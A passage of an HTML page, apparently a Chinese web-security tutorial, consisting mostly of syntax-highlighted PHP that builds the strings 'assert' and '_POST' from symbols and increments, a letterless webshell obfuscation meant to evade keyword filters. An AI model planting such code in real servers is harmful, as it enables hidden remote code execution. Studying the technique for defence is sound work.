style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>上面这一大段内容中就存在了assert和POST</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span 